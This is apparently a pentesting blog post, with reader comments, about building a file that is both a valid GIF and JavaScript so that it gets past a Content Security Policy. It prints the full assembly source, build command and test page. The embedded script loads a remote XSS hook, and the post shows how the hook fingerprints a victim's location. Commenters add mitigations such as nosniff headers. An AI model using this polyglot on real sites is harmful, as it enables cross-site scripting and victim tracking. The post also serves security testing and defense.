Pages

When GIF serve JavaScript!

The Scenario

Consider a pentesting scenario where you are working with a web application that uses Content Security Policy which prevents it from executing inline JavaScript but allows to execute JS source files loaded from same domain. The web application is having a WYSIWYG editor that allows writing HTML and uploading images. In this scenario how will you execute some JavaScript.

The Solution

What if an image can serve JS code? Researcher Ange Albertini had come up with a technique to abuse the GIF header and add JS code to a GIF file resulting in a GIF file that is a valid GIF and JS file at the same time.

Let's see how we can build a GIF file that can serve JS.
Download the YASM compiler from http://yasm.tortall.net/Download.html
and this asm file: https://gist.github.com/ajinabraham/f2a057fb1930f94886a3

Your PoC JS code can be just  "alert(0)" or for Red Team Pentesting i would suggest you to use OWASP Xenotix XSS Exploit Framework (as i wrote it) or Beef (an alternative).

In this post i will be using Xenotix. Download Xenotix from http://xenotix.in

First of all run Xenotix and Start Server from Settings -> Configure Server


Once you start the server, copy the Xenotix xook URL. Open gifjs.asm in a Text Editor and scroll down to the bottom and add the following JavaScript in data byte.

s = document.createElement("script");
s.src = "http://127.0.0.1:5058/xook.js"; //Xenotix xook URL
document.body.appendChild(s);

In our case we need to dynamically add the Xenotix xook to the page that loads the GIF file as JS so that we can perform other advanced attacks from that xooked (hooked) page.

Here is the gifjs.asm after adding the JS code

; a hand-made GIF containing valid JavaScript code
; abusing header to start a JavaScript comment

; inspired by Saumil Shah's Deadly Pixels presentation

; Ange Albertini, BSD Licence 2013

WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment

HEIGTH equ 100 ; just to make it easier to spot

db 'GIF89a'
    dw WIDTH, HEIGTH

db 0 ; GCT
    db -1 ;  background color
    db 0 ; default aspect ratio
    ;db 0fch, 0feh, 0fch
    ;times COLORS db 0, 0, 0
 
; no need of Graphic Control Extension
 ; db 21h, 0f9h
 ; db GCESIZE ; size
 ; gce_start:
 ;     db 0 ; transparent background
 ;     dw 0 ; delay for anim
 ;     db 0 ; other transparent
 ; GCESIZE equ $ - gce_start
 ;     db 0 ; end of GCE

db 02ch ; Image descriptor
    dw 0, 0 ; NW corner
    dw WIDTH, HEIGTH ; w/h of image
    db 0    ; color table

db 2 ; lzw size

;db DATASIZE
;data_start:
;    db 00, 01, 04, 04
;    DATASIZE equ $ - data_start

db 0
db 3bh ; GIF terminator

; end of the GIF

db '*/'  ; closing the comment
db '=1;' ; creating a fake use of that GIF89a string

db 's = document.createElement("script");'
db 's.src = "http://127.0.0.1:5058/xook.js";'
db 'document.body.appendChild(s);'


Now lets compile the file.

yasm gifjs.asm -o img.gif

Let's test our Bi-format valid GIF file.

Let's create an HTML file with the following source.

<img src="img.gif">
<script src="img.gif"></script>


Open the HTML file in a browser and you will see an image in the browser. Press F12 and go to your console.



Now you can see a message in the console (for Chrome),

 Resource interpreted as Script but transferred with MIME type image/gif: "file:///C:/Users/Ajin/Desktop/jspics/img.gif".

This just give us a hint that the page had requested and interpreted a GIF as JS. This is useful for malware analysts to identify malwares embedded in images. Malwares use this technique to deliver exploit codes and bypass detection.

Well back to our scenario. Now the page is xooked and you can use Xenotix to fire up some XSS Exploits.

Let's use the IP2Gelocation Module, Go back to Xenotix and run the IP2Geolocation module from

Information Gathering -> Victim Fingerprinting -> IP2Geolocation.

Click on Fingerprint and you will get something like this.



It's not just GIF, even other image formats like BMP and JPEG can also hide JavaScript in them. That's all for Sunday. Happy Hacking!

19 comments:

  1. hi i'm testing but it does't work. I'm using Chrome 38.0.2125.111. any ideas?

    ReplyDelete
    Replies
    1. There was a mistake in the HTML source. Please close the script tag.
      I had updated the post.

      Delete
    2. It's work for me only local, but if I try to upload the img file to another server i get a error
      Profile photo attachment The given profile_photo_attachment cannot be assigned: Asset upload was not possible because its dimensions are too large.

      Delete
    3. From the error "The given profile_photo_attachment cannot be assigned: Asset upload was not possible because its dimensions are too large.", it looks like thee image dimensions are not accepted by that web application.

      You have to modify the dimensions of the image created in the assembly code. But here the problem is you cannot change the width as the current width 10799 ; equivalent to 2f2a, which is '/*' in ASCII. If you modify the width, this image will no longer become bi format. You can only modify the height.

      Delete
    4. Thank you Ajin for your quick respond.
      I think that this work only on WYSIWYG editor, I tried on different servers but not working.

      Ajin your blog is amazing.

      Best regards

      Delete
    5. It works everywhere if such image size restrictions are not there.

      Delete
    6. I tried it on chrome, didnt work, bunch of errors before the comply. on firefox things happened differently. WYSIWYG editor helped

      Delete
  2. is it possible to use it without script tag? or what is practical impact when you have to use script tag?

    ReplyDelete
    Replies
    1. To load it in Script context we need to use script tag, to load it in image context we need to use IMG tag.
      It is just that this file is bi-format valid.

      Delete
  3. This comment has been removed by the author.

    ReplyDelete
  4. Incase it is of interest you can make a file that is a gif, html, and javascript and in the demo a small zip, by messing with the gif's size and the first pallete entry and using the differing comment syntax of html and javascript you can have it be all 3, although you have to mess with positioning in the html to hide a bit of cruft, a crude demo can be found here:
    https://www.pissflaps.co.uk/POC/index.html

    ReplyDelete
  5. I'd assume that striping out all data after the GIF terminator on file uploads would be sufficient for a naive way of preventing this attack?

    ReplyDelete
  6. It's better to use "X-Content-Type-Options: nosniff" header to avoid browsers from loading the file in a wrong context. So that resource interpreted as Script but transferred with MIME type image/gif: won't be loaded by the browser.

    ReplyDelete
  7. Welcome on rediscovering old stuff. For a 5 year old description of the same issue see http://www.thinkfu.com/blog/gifjavascript-polyglots.

    ReplyDelete
    Replies
    1. This is not rediscovering or anything. This blog was based on the work of Ange Albertini and more over based on a scenario that occurred during a pentest.Good that you pointed out. Polygots might have been used long before. That post was discussing about content-type sniffing and relates to CSP even though CSP was never mentioned as such anywhere.

      Delete
  8. Do you have a link to the orignal work of Ange Albertini ?

    I’m wondering how came the fact that the image need to be loaded first as an image ? Because I’m wondering if it would work for xml documents like ʀꜱꜱ or xhtml or ꜱᴠɢ (ꜱᴠɢ can contains scripts that pass server side sanitizers) ?

    ReplyDelete